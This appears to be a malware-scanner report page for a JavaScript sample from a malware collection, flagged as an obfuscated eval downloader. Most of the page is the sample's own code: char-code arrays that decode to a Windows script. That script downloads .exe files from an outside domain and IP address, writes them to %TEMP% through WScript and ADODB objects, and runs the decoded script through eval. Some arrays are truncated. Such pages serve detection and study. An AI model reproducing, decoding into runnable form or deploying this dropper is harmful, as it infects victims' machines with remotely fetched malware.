Suspicious 80% javascript-malware-collection Download

20151209_ce3635ecb013a0b579874aab28a158ff.js

Obfuscated eval downloader fetching remote executable

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256ca85d1e473d10c494443903a9085d1184523b88b04ae44383beeafeb5a88800c

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';CQhOy[126]='~';CQhOy[127]='';
3function eboZg(cjNngwDAeFc,KeBcfDilekvGB,jVNNfOLc){Qzfs=parseInt(cjNngwDAeFc,KeBcfDilekvGB);paecq=Qzfs.toString(jVNNfOLc);return paecq;}function JnyCxBrlfvhPcvw(grEMGkWyADrWxwxMf){eval(grEMGkWyADrWxwxMf)}
4function XTmdgplLhjKnUVmNYAHPkcoCDJMUCtUorTnQAtWEvKqXAvNqhQnQmC(qKrzMJhcOdUyZ,NZhDfiFxiboLWi){ return CQhOy[eboZg(qKrzMJhcOdUyZ[NZhDfiFxiboLWi],(5187+343)/553,(8435+55)/849)];}
5function HBrRfyl(aONusqmNyHPaYAMcpHbAZiozNnYslEvaHzZN) {return !isNaN(parseFloat(aONusqmNyHPaYAMcpHbAZiozNnYslEvaHzZN)) && isFinite(aONusqmNyHPaYAMcpHbAZiozNnYslEvaHzZN);}
6function JIgSHZEAEek(XpnSMOnk,UNRtot){return XpnSMOnk.split(UNRtot)}
7var t=["13","10","13","10","118","97","114","32","85","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","80","66","99","32","61","40","40","49","47","42","48","73","117","50","54","53","55","49","49","53","57","54","110","49","49","48","55","55","56","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","72","97","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","80","66","99","41","59","13","10","118","97","114","32","109","116","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","115","87","82","32","61","32","72","97","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","109","116","41","59","13","10","118","97","114","32","121","71","109","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","67","116","70","32","61","32","121","71","109","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","102","81","32","61","32","116","114","117","101","32","32","44","32","122","86","85","97","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","81","71","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","43","40"," …
8var S=["57","56","55","59","13","10","102","111","114","32","40","118","97","114","32","109","61","65","87","84","59","32","109","60","85","46","108","101","110","103","116","104","59","32","109","43","43","41","32","32","123","13","10","32","32","118","97","114","32","103","116","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","81","71","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","85","91","109","93","43","78","44","32","102","97","108","115","101","41","59","32","81","71","46","115","101","110","100","40","41","59","32","105","102","32","40","81","71","46","115","116","97","116","117","115","32","61","61","32","51","57","56","45","49","57","56","41","32","32","123","13","10","32","32","32","32","32","32","75","77","111","46","111","112","101","110","40","41","59","32","75","77","111","46","116","121","112","101","32","61","32","49","59","32","75","77","111","46","119","114","105","116","101","40","81","71","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","75","77","111","46","115","105","122","101","32","62","32","49","54","50","52","53","45","52","51","53","41","32","32","123","13","10","32","32","32","32","32","32","32","32","103","116","32","61","32","49","59","32","75","77","111","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","75","77","111","46","115","97","118","101","84","111","70","105","108","101","47","42","89","55","87","69","57","49","57","66","81","56","42","47","40","115","87","82","47","42","101","121","109","65","57","49","88","99","115","116","42","47","43","97","107","113","74","119","110","111","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","32","32" …
9var bxzEX=[t,S];
10var BmSSuMCcn=[];
11function nRgWHxZQWmvWYrhSF(bxzEX){bxNNlyqJkeb= '';for(VmJWIRJtarT=(-548+548)/499; VmJWIRJtarT < (1050+730)/890; VmJWIRJtarT++) {BmSSuMCcn[VmJWIRJtarT]=(-312+312)/114; while(true) { if(BmSSuMCcn[VmJWIRJtarT] > bxzEX[VmJWIRJtarT].length-(-325+504)/179) { break; } if (HBrRfyl(eboZg(bxzEX[VmJWIRJtarT][BmSSuMCcn[VmJWIRJtarT]],(7025+755)/778,(3056+804)/386))) {bxNNlyqJkeb += XTmdgplLhjKnUVmNYAHPkcoCDJMUCtUorTnQAtWEvKqXAvNqhQnQmC([bxzEX[VmJWIRJtarT][BmSSuMCcn[VmJWIRJtarT]]], (-373+373)/225);} BmSSuMCcn[VmJWIRJtarT]++;}} return bxNNlyqJkeb}
12JnyCxBrlfvhPcvw(nRgWHxZQWmvWYrhSF(bxzEX));

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